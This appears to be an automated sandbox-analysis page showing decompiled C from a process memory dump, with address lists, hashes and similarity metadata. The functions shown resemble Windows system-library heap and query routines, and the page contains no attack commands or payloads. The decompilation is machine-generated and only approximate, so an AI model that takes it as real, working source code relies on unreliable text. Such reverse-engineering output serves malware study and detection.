0x0464ef57
0x0464f0bd
0x0464f0c2
0x0464f0d2
0x0464f0d2
0x0464f0c2
0x0464ef5d
0x0464ef5f
0x0464ef67
0x0464ef6a
0x0464ef6d
0x0464ef74
0x0464ef7f
0x0464ef82
0x0464ef82
0x0464ef86
0x0464ef88
0x0464ef8c
0x0464ef8f
0x0464ef8f
0x0464ef8f
0x00000000
0x0464ef91
0x0464ef93
0x0464efc4
0x0464efc4
0x0464efc4
0x0464efca
0x0464efd0
0x0464f0a6
0x00000000
0x00000000
0x0464f0af
0x0469bb06
0x0469bb0a
0x0464f0b5
0x0464f0b5
0x0464f0b5
0x0464f0b5
0x00000000
0x0464efd6
0x0464efd9
0x0464f0de
0x0464f0e2
0x0464efdf
0x0464efdf
0x0464efdf
0x0464efe5
0x0469bafc
0x0469bafc
0x0464efe5
0x0464efeb
0x0464efed
0x0464f00f
0x0464f011
0x0464f01a
0x0464f01d
0x0464f021
0x0464f028
0x0464f029
0x0464f029
0x0464f02c
0x00000000
0x0464f02c
0x0464eff3
0x0464eff9
0x0464f0ea
0x0464f0ed
0x0464f0ef
0x00000000
0x0464f0ef
0x0464f003
0x0469bb12
0x0464f045
0x0464f049
0x0464f051
0x0464f09e
0x0464f0a0
0x0464f0a0
0x0464f09e
0x0464f053
0x0464f064
0x0464f064
0x0464f06b
0x0469bb1a
0x0469bb1a
0x0464f071
0x0464f071
0x0464f07d
0x0464f082
0x0464f08f
0x0464f08f
0x0464f009
0x0464f00d
0x00000000
0x0464f00d
0x0464efd0
0x0464ef97
0x0464efa5
0x0464efaa
0x00000000
0x0464efac
0x0464efac
0x0464efac
0x00000000
0x0464efb2
0x0464f036
0x0464f03a
0x0464f040
0x0464f090
0x00000000
0x0464f092
0x0464f042
0x00000000
0x0464f042
0x0464efb7
0x0464efb9
0x0464efbc
0x0464efb0
0x0464efb0
0x00000000
0x0464efbe
0x0464efbe
0x0464efc1
0x00000000
0x0464efc1
0x0464efbc
0x0464efaa
0x0464ef91

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction ID: f82dcf1a2f7a227d18a696e36c81b6e50e779ae385ec710d3acacf8f8f944592
Opcode Fuzzy Hash: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction Fuzzy Hash: E151DF30A04249DFDF28CF68C1A07AEBBB1BF95314F1881A8C54557381F376B989D751

Uniqueness

Uniqueness Score: -1.00%

Function 0470740D, Relevance: .1, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0470740D(intOrPtr __ecx, signed short* __edx, intOrPtr _a4) {
				signed short* _v8;
				intOrPtr _v12;
				intOrPtr _t55;
				void* _t56;
				intOrPtr* _t66;
				intOrPtr* _t69;
				void* _t74;
				intOrPtr* _t78;
				intOrPtr* _t81;
				intOrPtr* _t82;
				intOrPtr _t83;
				signed short* _t84;
				intOrPtr _t85;
				signed int _t87;
				intOrPtr* _t90;
				intOrPtr* _t93;
				intOrPtr* _t94;
				void* _t98;

				_t84 = __edx;
				_t80 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t55 = __ecx;
				_v8 = __edx;
				_t87 =  *__edx & 0x0000ffff;
				_v12 = __ecx;
				_t3 = _t55 + 0x154; // 0x154
				_t93 = _t3;
				_t78 =  *_t93;
				_t4 = _t87 + 2; // 0x2
				_t56 = _t4;
				while(_t78 != _t93) {
					if( *((intOrPtr*)(_t78 + 0x14)) != _t56) {
						L4:
						_t78 =  *_t78;
						continue;
					} else {
						_t7 = _t78 + 0x18; // 0x18
						if(E0468D4F0(_t7, _t84[2], _t87) == _t87) {
							_t40 = _t78 + 0xc; // 0xc
							_t94 = _t40;
							_t90 =  *_t94;
							while(_t90 != _t94) {
								_t41 = _t90 + 8; // 0x8
								_t74 = E0467F380(_a4, _t41, 0x10);
								_t98 = _t98 + 0xc;
								if(_t74 != 0) {
									_t90 =  *_t90;
									continue;
								}
								goto L12;
							}
							_t82 = L04654620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
							if(_t82 != 0) {
								_t46 = _t78 + 0xc; // 0xc
								_t69 = _t46;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t85 =  *_t69;
								if( *((intOrPtr*)(_t85 + 4)) != _t69) {
									L20:
									_t82 = 3;
									asm("int 0x29");
								}
								 *((intOrPtr*)(_t82 + 4)) = _t69;
								 *_t82 = _t85;
								 *((intOrPtr*)(_t85 + 4)) = _t82;
								 *_t69 = _t82;
								 *(_t78 + 8) =  *(_t78 + 8) + 1;
								 *(_v12 + 0xdc) =  *(_v12 + 0xdc) | 0x00000010;
								goto L11;
							} else {
								L18:
								_push(0xe);
								_pop(0);
							}
						} else {
							_t84 = _v8;
							_t9 = _t87 + 2; // 0x2
							_t56 = _t9;
							goto L4;
						}
					}
					L12:
					return 0;
				}
				_t10 = _t87 + 0x1a; // 0x1a
				_t78 = L04654620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t10);
				if(_t78 == 0) {
					goto L18;
				} else {
					_t12 = _t87 + 2; // 0x2
					 *((intOrPtr*)(_t78 + 0x14)) = _t12;
					_t16 = _t78 + 0x18; // 0x18
					E0467F3E0(_t16, _v8[2], _t87);
					 *((short*)(_t78 + _t87 + 0x18)) = 0;
					_t19 = _t78 + 0xc; // 0xc
					_t66 = _t19;
					 *((intOrPtr*)(_t66 + 4)) = _t66;
					 *_t66 = _t66;
					 *(_t78 + 8) =  *(_t78 + 8) & 0x00000000;
					_t81 = L04654620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
					if(_t81 == 0) {
						goto L18;
					} else {
						_t26 = _t78 + 0xc; // 0xc
						_t69 = _t26;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t85 =  *_t69;
						if( *((intOrPtr*)(_t85 + 4)) != _t69) {
							goto L20;
						} else {
							 *((intOrPtr*)(_t81 + 4)) = _t69;
							 *_t81 = _t85;
							 *((intOrPtr*)(_t85 + 4)) = _t81;
							 *_t69 = _t81;
							_t83 = _v12;
							 *(_t78 + 8) = 1;
							 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							_t34 = _t83 + 0x154; // 0x1ba
							_t69 = _t34;
							_t85 =  *_t69;
							if( *((intOrPtr*)(_t85 + 4)) != _t69) {
								goto L20;
							} else {
								 *_t78 = _t85;
								 *((intOrPtr*)(_t78 + 4)) = _t69;
								 *((intOrPtr*)(_t85 + 4)) = _t78;
								 *_t69 = _t78;
								 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							}
						}
						goto L11;
					}
				}
				goto L12;
			}

0x0470740d
0x0470740d
0x04707412
0x04707413
0x04707416
0x04707418
0x0470741c
0x0470741f
0x04707422
0x04707422
0x04707428
0x0470742a
0x0470742a
0x04707451
0x04707432
0x0470744f
0x0470744f
0x00000000
0x04707434
0x04707438
0x04707443
0x04707517
0x04707517
0x0470751a
0x04707535
0x04707520
0x04707527
0x0470752c
0x04707531
0x04707533
0x00000000
0x04707533
0x00000000
0x04707531
0x0470754b
0x0470754f
0x0470755c
0x0470755c
0x0470755f
0x04707560
0x04707561
0x04707562
0x04707563
0x04707568
0x0470756a
0x0470756c
0x0470756d
0x0470756d
0x0470756f
0x04707572
0x04707574
0x04707577
0x0470757c
0x0470757f
0x00000000
0x04707551
0x04707551
0x04707551
0x04707553
0x04707553
0x04707449
0x04707449
0x0470744c
0x0470744c
0x00000000
0x0470744c
0x04707443
0x0470750e
0x04707514
0x04707514
0x04707455
0x04707469
0x0470746d
0x00000000
0x04707473
0x04707473
0x04707476
0x04707480
0x04707484
0x0470748e
0x04707493
0x04707493
0x04707496
0x04707499
0x047074a1
0x047074b1
0x047074b5
0x00000000
0x047074bb
0x047074c1
0x047074c1
0x047074c4
0x047074c5
0x047074c6
0x047074c7
0x047074c8
0x047074cd
0x00000000
0x047074d3
0x047074d3
0x047074d6
0x047074d8
0x047074db
0x047074dd
0x047074e0
0x047074e7
0x047074ee
0x047074ee
0x047074f4
0x047074f9
0x00000000
0x047074fb
0x047074fb
0x047074fd
0x04707500
0x04707503
0x04707505
0x04707505
0x047074f9
0x00000000
0x047074cd
0x047074b5
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction ID: 1848dd0a27980d85dc611e4fca8ac9855b059e0de33acaeb6e067692d2cbc40b
Opcode Fuzzy Hash: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction Fuzzy Hash: CD515C71601606EFDB19CF14C880A96BBF5FF45305F15C1AAE9089F252E771F946CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04662990, Relevance: .1, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E04662990() {
				signed int* _t62;
				signed int _t64;
				intOrPtr _t66;
				signed short* _t69;
				intOrPtr _t76;
				signed short* _t79;
				void* _t81;
				signed int _t82;
				signed short* _t83;
				signed int _t87;
				intOrPtr _t91;
				void* _t98;
				signed int _t99;
				void* _t101;
				signed int* _t102;
				void* _t103;
				void* _t104;
				void* _t107;

				_push(0x20);
				_push(0x470ff00);
				E0468D08C(_t81, _t98, _t101);
				 *((intOrPtr*)(_t103 - 0x28)) =  *[fs:0x18];
				_t99 = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x1c)))) = 0;
				_t82 =  *((intOrPtr*)(_t103 + 0x10));
				if(_t82 == 0) {
					_t62 = 0xc0000100;
				} else {
					 *((intOrPtr*)(_t103 - 4)) = 0;
					_t102 = 0xc0000100;
					 *((intOrPtr*)(_t103 - 0x30)) = 0xc0000100;
					_t64 = 4;
					while(1) {
						 *(_t103 - 0x24) = _t64;
						if(_t64 == 0) {
							break;
						}
						_t87 = _t64 * 0xc;
						 *(_t103 - 0x2c) = _t87;
						_t107 = _t82 -  *((intOrPtr*)(_t87 + 0x4611664));
						if(_t107 <= 0) {
							if(_t107 == 0) {
								_t79 = E0467E5C0( *((intOrPtr*)(_t103 + 0xc)),  *((intOrPtr*)(_t87 + 0x4611668)), _t82);
								_t104 = _t104 + 0xc;
								__eflags = _t79;
								if(__eflags == 0) {
									_t102 = E046B51BE(_t82,  *((intOrPtr*)( *(_t103 - 0x2c) + 0x461166c)),  *((intOrPtr*)(_t103 + 0x14)), _t99, _t102, __eflags,  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
									 *((intOrPtr*)(_t103 - 0x30)) = _t102;
									break;
								} else {
									_t64 =  *(_t103 - 0x24);
									goto L5;
								}
								goto L13;
							} else {
								L5:
								_t64 = _t64 - 1;
								continue;
							}
						}
						break;
					}
					 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
					__eflags = _t102;
					if(_t102 < 0) {
						__eflags = _t102 - 0xc0000100;
						if(_t102 == 0xc0000100) {
							_t83 =  *((intOrPtr*)(_t103 + 8));
							__eflags = _t83;
							if(_t83 != 0) {
								 *((intOrPtr*)(_t103 - 0x20)) = _t83;
								__eflags =  *_t83 - _t99;
								if( *_t83 == _t99) {
									_t102 = 0xc0000100;
									goto L19;
								} else {
									_t91 =  *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30));
									_t66 =  *((intOrPtr*)(_t91 + 0x10));
									__eflags =  *((intOrPtr*)(_t66 + 0x48)) - _t83;
									if( *((intOrPtr*)(_t66 + 0x48)) == _t83) {
										__eflags =  *((intOrPtr*)(_t91 + 0x1c));
										if( *((intOrPtr*)(_t91 + 0x1c)) == 0) {
											L26:
											_t102 = E04662AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
											 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
											__eflags = _t102 - 0xc0000100;
											if(_t102 != 0xc0000100) {
												goto L12;
											} else {
												_t99 = 1;
												_t83 =  *((intOrPtr*)(_t103 - 0x20));
												goto L18;
											}
										} else {
											_t69 = E04646600( *((intOrPtr*)(_t91 + 0x1c)));
											__eflags = _t69;
											if(_t69 != 0) {
												goto L26;
											} else {
												_t83 =  *((intOrPtr*)(_t103 + 8));
												goto L18;
											}
										}
									} else {
										L18:
										_t102 = E04662C50(_t83,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)), _t99);
										L19:
										 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
										goto L12;
									}
								}
								L28:
							} else {
								E0464EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
								 *((intOrPtr*)(_t103 - 4)) = 1;
								 *((intOrPtr*)(_t103 - 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30)) + 0x10)) + 0x48));
								_t102 =  *((intOrPtr*)(_t103 + 0x1c));
								_t76 = E04662AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102);
								 *((intOrPtr*)(_t103 - 0x1c)) = _t76;
								__eflags = _t76 - 0xc0000100;
								if(_t76 == 0xc0000100) {
									 *((intOrPtr*)(_t103 - 0x1c)) = E04662C50( *((intOrPtr*)(_t103 - 0x20)),  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102, 1);
								}
								 *((intOrPtr*)(_t103 - 4)) = _t99;
								E04662ACB();
							}
						}
					}
					L12:
					 *((intOrPtr*)(_t103 - 4)) = 0xfffffffe;
					_t62 = _t102;
				}
				L13:
				return E0468D0D1(_t62);
				goto L28;
			}

0x04662990
0x04662992
0x04662997
0x046629a3
0x046629a6
0x046629ab
0x046629ad
0x046629b2
0x046a5c80
0x046629b8
0x046629b8
0x046629bb
0x046629c0
0x046629c5
0x046629c6
0x046629c6
0x046629cb
0x00000000
0x00000000
0x046629cd
0x046629d0
0x046629d9
0x046629db
0x046629dd
0x04662a7f
0x04662a84
0x04662a87
0x04662a89
0x046a5ca1
0x046a5ca3
0x00000000
0x04662a8f
0x04662a8f
0x00000000
0x04662a8f
0x00000000
0x046629e3
0x046629e3
0x046629e3
0x00000000
0x046629e3
0x046629dd
0x00000000
0x046629db
0x046629e6
0x046629e9
0x046629eb
0x046629ed
0x046629f3
0x046629f5
0x046629f8
0x046629fa
0x04662a97
0x04662a9a
0x04662a9d
0x04662add
0x00000000
0x04662a9f
0x04662aa2
0x04662aa5
0x04662aa8
0x04662aab
0x046a5cab
0x046a5caf
0x046a5cc5
0x046a5cda
0x046a5cdc
0x046a5cdf
0x046a5ce5
0x00000000
0x046a5ceb
0x046a5ced
0x046a5cee
0x00000000
0x046a5cee
0x046a5cb1
0x046a5cb4
0x046a5cb9
0x046a5cbb
0x00000000
0x046a5cbd
0x046a5cbd
0x00000000
0x046a5cbd
0x046a5cbb
0x04662ab1
0x04662ab1
0x04662ac4
0x04662ac6
0x04662ac6
0x00000000
0x04662ac6
0x04662aab
0x00000000
0x04662a00
0x04662a09
0x04662a0e
0x04662a21
0x04662a24
0x04662a35
0x04662a3a
0x04662a3d
0x04662a42
0x04662a59
0x04662a59
0x04662a5c
0x04662a5f
0x04662a5f
0x046629fa
0x046629f3
0x04662a64
0x04662a64
0x04662a6b
0x04662a6b
0x04662a6d
0x04662a72
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e15b4cd7dd3c8e3853261c84c3b1a2e0bc176000866e20e6fb2cdc25e319964
Instruction ID: 38ca42f660fb108e2133350bb0a3eadb5345780373c2474d33ab7628d24514a6
Opcode Fuzzy Hash: 4e15b4cd7dd3c8e3853261c84c3b1a2e0bc176000866e20e6fb2cdc25e319964
Instruction Fuzzy Hash: F3517B71A00209EFDF25EF55C890ADEBBB5BF58314F048199E902AB360E375AD52DF90

Uniqueness

Uniqueness Score: -1.00%

Function 04664D3B, Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E04664D3B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				char _v176;
				char _v177;
				char _v184;
				intOrPtr _v192;
				intOrPtr _v196;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t42;
				char* _t44;
				intOrPtr _t46;
				intOrPtr _t50;
				char* _t57;
				intOrPtr _t59;
				intOrPtr _t67;
				signed int _t69;

				_t64 = __edx;
				_v12 =  *0x472d360 ^ _t69;
				_t65 = 0xa0;
				_v196 = __edx;
				_v177 = 0;
				_t67 = __ecx;
				_v192 = __ecx;
				E0467FA60( &_v176, 0, 0xa0);
				_t57 =  &_v176;
				_t59 = 0xa0;
				if( *0x4727bc8 != 0) {
					L3:
					while(1) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t67 = _v192;
						 *((intOrPtr*)(_t57 + 0x10)) = _a4;
						 *(_t57 + 0x24) =  *(_t57 + 0x24) & 0x00000000;
						 *(_t57 + 0x14) =  *(_t67 + 0x34) & 0x0000ffff;
						 *((intOrPtr*)(_t57 + 0x20)) = _v196;
						_push( &_v184);
						_push(_t59);
						_push(_t57);
						_push(0xa0);
						_push(_t57);
						_push(0xf);
						_t42 = E0467B0B0();
						if(_t42 != 0xc0000023) {
							break;
						}
						if(_v177 != 0) {
							L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
						}
						_v177 = 1;
						_t44 = L04654620(_t59,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v184);
						_t59 = _v184;
						_t57 = _t44;
						if(_t57 != 0) {
							continue;
						} else {
							_t42 = 0xc0000017;
							break;
						}
					}
					if(_t42 != 0) {
						_t65 = E0463CCC0(_t42);
						if(_t65 != 0) {
							L10:
							if(_v177 != 0) {
								if(_t57 != 0) {
									L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
								}
							}
							_t46 = _t65;
							L12:
							return E0467B640(_t46, _t57, _v12 ^ _t69, _t64, _t65, _t67);
						}
						L7:
						_t50 = _a4;
						 *((intOrPtr*)(_t67 + 0x30)) =  *((intOrPtr*)(_t57 + 0x18));
						if(_t50 != 3) {
							if(_t50 == 2) {
								goto L8;
							}
							L9:
							if(E0467F380(_t67 + 0xc, 0x4615138, 0x10) == 0) {
								 *0x47260d8 = _t67;
							}
							goto L10;
						}
						L8:
						_t64 = _t57 + 0x28;
						E04664F49(_t67, _t57 + 0x28);
						goto L9;
					}
					_t65 = 0;
					goto L7;
				}
				if(E04664E70(0x47286b0, 0x4665690, 0, 0) != 0) {
					_t46 = E0463CCC0(_t56);
					goto L12;
				} else {
					_t59 = 0xa0;
					goto L3;
				}
			}

0x04664d3b
0x04664d4d
0x04664d53
0x04664d58
0x04664d65
0x04664d6c
0x04664d71
0x04664d77
0x04664d7f
0x04664d8c
0x04664d8e
0x04664dad
0x04664db0
0x04664db7
0x04664db8
0x04664db9
0x04664dba
0x04664dbb
0x04664dc1
0x04664dc8
0x04664dcc
0x04664dd5
0x04664dde
0x04664ddf
0x04664de0
0x04664de1
0x04664de6
0x04664de7
0x04664de9
0x04664df3
0x00000000
0x00000000
0x046a6c7c
0x046a6c8a
0x046a6c8a
0x046a6c9d
0x046a6ca7
0x046a6cac
0x046a6cb2
0x046a6cb9
0x00000000
0x046a6cbf
0x046a6cbf
0x00000000
0x046a6cbf
0x046a6cb9
0x04664dfb
0x046a6ccf
0x046a6cd3
0x04664e32
0x04664e39
0x046a6ce0
0x046a6cf2
0x046a6cf2
0x046a6ce0
0x04664e3f
0x04664e41
0x04664e51
0x04664e51
0x04664e03
0x04664e03
0x04664e09
0x04664e0f
0x04664e57
0x00000000
0x00000000
0x04664e1b
0x04664e30
0x04664e5b
0x04664e5b
0x00000000
0x04664e30
0x04664e11
0x04664e11
0x04664e16
0x00000000
0x04664e16
0x04664e01
0x00000000
0x04664e01
0x04664da5
0x046a6c6b
0x00000000
0x04664dab
0x04664dab
0x00000000
0x04664dab

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37ca43100f17d98089e6a420536f342b95d4b521ca79d61814848ca0d2ace029
Instruction ID: 4f53fb087274c70c53c602707c5c1ffce5d60471c25cb915bdb8d6959f04f95d
Opcode Fuzzy Hash: 37ca43100f17d98089e6a420536f342b95d4b521ca79d61814848ca0d2ace029
Instruction Fuzzy Hash: A141B171A40318AFEB21DF14CD80FA6B7A9EB54714F04409AE94697380FB75FD40CA99

Uniqueness

Uniqueness Score: -1.00%

Function 04664BAD, Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E04664BAD(intOrPtr __ecx, short __edx, signed char _a4, signed short _a8) {
				signed int _v8;
				short _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				char _v156;
				short _v158;
				intOrPtr _v160;
				char _v164;
				intOrPtr _v168;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t45;
				intOrPtr _t74;
				signed char _t77;
				intOrPtr _t84;
				char* _t85;
				void* _t86;
				intOrPtr _t87;
				signed short _t88;
				signed int _t89;

				_t83 = __edx;
				_v8 =  *0x472d360 ^ _t89;
				_t45 = _a8 & 0x0000ffff;
				_v158 = __edx;
				_v168 = __ecx;
				if(_t45 == 0) {
					L22:
					_t86 = 6;
					L12:
					E0463CC50(_t86);
					L11:
					return E0467B640(_t86, _t77, _v8 ^ _t89, _t83, _t84, _t86);
				}
				_t77 = _a4;
				if((_t77 & 0x00000001) != 0) {
					goto L22;
				}
				_t8 = _t77 + 0x34; // 0xdce0ba00
				if(_t45 !=  *_t8) {
					goto L22;
				}
				_t9 = _t77 + 0x24; // 0x4728504
				E04652280(_t9, _t9);
				_t87 = 0x78;
				 *(_t77 + 0x2c) =  *( *[fs:0x18] + 0x24);
				E0467FA60( &_v156, 0, _t87);
				_t13 = _t77 + 0x30; // 0x3db8
				_t85 =  &_v156;
				_v36 =  *_t13;
				_v28 = _v168;
				_v32 = 0;
				_v24 = 0;
				_v20 = _v158;
				_v160 = 0;
				while(1) {
					_push( &_v164);
					_push(_t87);
					_push(_t85);
					_push(0x18);
					_push( &_v36);
					_push(0x1e);
					_t88 = E0467B0B0();
					if(_t88 != 0xc0000023) {
						break;
					}
					if(_t85 !=  &_v156) {
						L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t85);
					}
					_t84 = L04654620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v164);
					_v168 = _v164;
					if(_t84 == 0) {
						_t88 = 0xc0000017;
						goto L19;
					} else {
						_t74 = _v160 + 1;
						_v160 = _t74;
						if(_t74 >= 0x10) {
							L19:
							_t86 = E0463CCC0(_t88);
							if(_t86 != 0) {
								L8:
								 *(_t77 + 0x2c) =  *(_t77 + 0x2c) & 0x00000000;
								_t30 = _t77 + 0x24; // 0x4728504
								E0464FFB0(_t77, _t84, _t30);
								if(_t84 != 0 && _t84 !=  &_v156) {
									L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t84);
								}
								if(_t86 != 0) {
									goto L12;
								} else {
									goto L11;
								}
							}
							L6:
							 *(_t77 + 0x36) =  *(_t77 + 0x36) | 0x00004000;
							if(_v164 != 0) {
								_t83 = _t84;
								E04664F49(_t77, _t84);
							}
							goto L8;
						}
						_t87 = _v168;
						continue;
					}
				}
				if(_t88 != 0) {
					goto L19;
				}
				goto L6;
			}

0x04664bad
0x04664bbf
0x04664bc2
0x04664bc6
0x04664bcd
0x04664bd9
0x046a67fe
0x046a6800
0x04664ccc
0x04664ccd
0x04664cb7
0x04664cc9
0x04664cc9
0x04664bdf
0x04664be5
0x00000000
0x00000000
0x04664beb
0x04664bef
0x00000000
0x00000000
0x04664bf5
0x04664bf9
0x04664c06
0x04664c0b
0x04664c17
0x04664c1c
0x04664c1f
0x04664c25
0x04664c33
0x04664c3d
0x04664c40
0x04664c43
0x04664c47
0x04664c4d
0x04664c53
0x04664c54
0x04664c55
0x04664c56
0x04664c5b
0x04664c5c
0x04664c63
0x04664c6b
0x00000000
0x00000000
0x046a6776
0x046a6784
0x046a6784
0x046a679f
0x046a67a7
0x046a67af
0x046a67ce
0x00000000
0x046a67b1
0x046a67b7
0x046a67b8
0x046a67c1
0x046a67d3
0x046a67d9
0x046a67dd
0x04664c94
0x04664c94
0x04664c98
0x04664c9c
0x04664ca3
0x046a67f4
0x046a67f4
0x04664cb5
0x00000000
0x00000000
0x00000000
0x00000000
0x04664cb5
0x04664c79
0x04664c7e
0x04664c89
0x04664c8b
0x04664c8f
0x04664c8f
0x00000000
0x04664c89
0x046a67c3
0x00000000
0x046a67c3
0x046a67af
0x04664c73
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a37edf26c1c3c3558e7edc31ed71be75c76fad391992a84e3e8b272b04fff028
Instruction ID: 4e70e48f2e441f6971162fa2b0babeb1e1b45de9e865e5fbf21d7989f26767fb
Opcode Fuzzy Hash: a37edf26c1c3c3558e7edc31ed71be75c76fad391992a84e3e8b272b04fff028
Instruction Fuzzy Hash: DB41A075A006289BDB20DF68C940BEA77B4AF45700F0501A9E949AB340FB34FE81CF98

Uniqueness

Uniqueness Score: -1.00%

Function 04648A0A, Relevance: .1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E04648A0A(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				char _v524;
				signed int _v528;
				void* _v532;
				char _v536;
				char _v540;
				char _v544;
				intOrPtr* _v548;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t44;
				void* _t46;
				void* _t48;
				signed int _t53;
				signed int _t55;
				intOrPtr* _t62;
				void* _t63;
				unsigned int _t75;
				signed int _t79;
				unsigned int _t81;
				unsigned int _t83;
				signed int _t84;
				void* _t87;

				_t76 = __edx;
				_v8 =  *0x472d360 ^ _t84;
				_v536 = 0x200;
				_t79 = 0;
				_v548 = __edx;
				_v544 = 0;
				_t62 = __ecx;
				_v540 = 0;
				_v532 =  &_v524;
				if(__edx == 0 || __ecx == 0) {
					L6:
					return E0467B640(_t79, _t62, _v8 ^ _t84, _t76, _t79, _t81);
				} else {
					_v528 = 0;
					E0464E9C0(1, __ecx, 0, 0,  &_v528);
					_t44 = _v528;
					_t81 =  *(_t44 + 0x48) & 0x0000ffff;
					_v528 =  *(_t44 + 0x4a) & 0x0000ffff;
					_t46 = 0xa;
					_t87 = _t81 - _t46;
					if(_t87 > 0 || _t87 == 0) {
						 *_v548 = 0x4611180;
						L5:
						_t79 = 1;
						goto L6;
					} else {
						_t48 = E04661DB5(_t62,  &_v532,  &_v536);
						_t76 = _v528;
						if(_t48 == 0) {
							L9:
							E04673C2A(_t81, _t76,  &_v544);
							 *_v548 = _v544;
							goto L5;
						}
						_t62 = _v532;
						if(_t62 != 0) {
							_t83 = (_t81 << 0x10) + (_t76 & 0x0000ffff);
							_t53 =  *_t62;
							_v528 = _t53;
							if(_t53 != 0) {
								_t63 = _t62 + 4;
								_t55 = _v528;
								do {
									if( *((intOrPtr*)(_t63 + 0x10)) == 1) {
										if(E04648999(_t63,  &_v540) == 0) {
											_t55 = _v528;
										} else {
											_t75 = (( *(_v540 + 0x14) & 0x0000ffff) << 0x10) + ( *(_v540 + 0x16) & 0x0000ffff);
											_t55 = _v528;
											if(_t75 >= _t83) {
												_t83 = _t75;
											}
										}
									}
									_t63 = _t63 + 0x14;
									_t55 = _t55 - 1;
									_v528 = _t55;
								} while (_t55 != 0);
								_t62 = _v532;
							}
							if(_t62 !=  &_v524) {
								L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t79, _t62);
							}
							_t76 = _t83 & 0x0000ffff;
							_t81 = _t83 >> 0x10;
						}
						goto L9;
					}
				}
			}

0x04648a0a
0x04648a1c
0x04648a23
0x04648a2e
